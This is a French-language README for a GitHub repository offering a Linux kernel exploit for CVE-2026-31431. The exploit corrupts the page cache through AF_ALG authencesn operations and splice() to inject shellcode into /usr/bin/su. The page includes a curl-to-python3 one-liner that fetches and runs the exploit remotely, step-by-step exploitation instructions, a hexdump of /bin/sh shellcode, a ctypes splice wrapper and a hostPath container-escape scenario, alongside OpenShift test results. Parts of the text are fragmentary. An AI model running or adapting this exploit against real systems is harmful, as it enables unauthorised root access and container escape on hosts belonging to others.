seanrickerd/cve-2026-31431Exploit pour le noyau Linux CVE-2026-31431 provoquant une corruption du cache de pages via une manipulation AEAD authencesn, ciblant l'élévation de privilèges dans les conteneurs et les environnements OpenShift.
Corruption du cache de pages du noyau Linux via la manipulation AEAD authencesn.
Après des tests approfondis sur plusieurs clusters OpenShift 4.20.16 avec les noyaux RHEL 9.6 :
Voir la section Résultats de tests complets pour tous les détails.
CVE-2026-31431 est une vulnérabilité du noyau Linux dans l'implémentation cryptographique AEAD authencesn qui permet à des processus non privilégiés de corrompre le cache de pages de fichiers lisibles via les sockets AF_ALG et la manipulation de l'appel système splice().
Les tests montrent : La corruption du cache de pages fonctionne de manière fiable, mais l'élévation de privilèges ne se produit PAS sur les noyaux RHEL 9.6 dans nos environnements de test.
Score CVSS : 7,8 (Élevé)
Affecté : Versions du noyau Linux avec prise en charge d'authencesn (2017-2026)
Divulgation publique : 29 avril 2026
splice() via ctypes/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### Depuis un fichier local```bash
python3 exploit.py
su
Ce qui se produira :``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**Vérification du cache de pages (confirme la corruption) :**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
Ce qui ne se produira PAS (d'après les tests) :```bash
su
id -u
**Conclusion :** La corruption du cache de pages réussit, mais l'élévation de privilèges échoue.
## Détails techniques
### Vulnérabilité
L'implémentation de `authencesn` (Authenticated Encryption with Associated Data - Extended Sequence Number) du noyau Linux présente une faille dans sa gestion des opérations en place. Lors du traitement des opérations AEAD soumises via une socket AF_ALG, une page du cache de pages peut se retrouver dans la liste de scatter-gather de destination accessible en écriture du noyau.
### Technique d'exploitation
1. **Créer une socket AF_ALG** avec `authencesn(hmac(sha256),cbc(aes))`
2. **Configurer les paramètres AEAD** (clé, authsize)
3. **Ouvrir le binaire setuid cible** (par exemple, `/usr/bin/su`)
4. **Utiliser splice()** pour placer le binaire dans le cache de pages
5. **Déclencher une opération AEAD en place** provoquant une écriture dans le cache de pages
6. **Écrire le shellcode** 4 octets à la fois
7. **Exécuter le binaire modifié** pour obtenir les droits root
### Shellcode
L'exploit utilise un shellcode de 160 octets qui modifie `/usr/bin/su` afin de :
- Contourner l'authentification par mot de passe
- Accorder un accès à un shell root
- Conserver un fonctionnement normal pour les utilisateurs non privilégiés
## Compatibilité Python 3.9
Python 3.9 et les versions antérieures ne disposent pas de `os.splice()` dans la bibliothèque standard. Cet exploit inclut une implémentation basée sur ctypes :```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
This makes the exploit work on:
Node Configuration:
Test Results:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### Environnement de test 2 : Nouveau cluster OpenShift (test de vérification)
**Cluster :** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Configuration du nœud :**
- Kernel : 5.14.0-570.96.1.el9_6.x86_64 (identique au test 1)
- OpenShift : 4.20.16
- SCC : restricted-v2 (vérifié)
- UID : 1000810000 (espace de noms utilisateur)
- Capacités : 0x0000000000000000 (ZÉRO)
**Résultats des tests :**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
Cohérence : résultats 100 % reproductibles sur des clusters indépendants
Scénario A : Avec volume hostPath (évasion de conteneur possible)```yaml volumes:
Résultat : ✅ **Évasion de conteneur** - modifie le cache de pages de l'hôte (Device 33, Inode 4288)
**Scénario B : SCC Restricted-v2 (sans hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
Résultat : ❌ Pas d'évasion de conteneur - n'affecte que l'overlay du conteneur (inode séparé)
Constat critique : l'accès hostPath (et non les capacités) est le facteur déterminant pour l'évasion de conteneur.
Explications possibles (nécessitent des recherches supplémentaires) :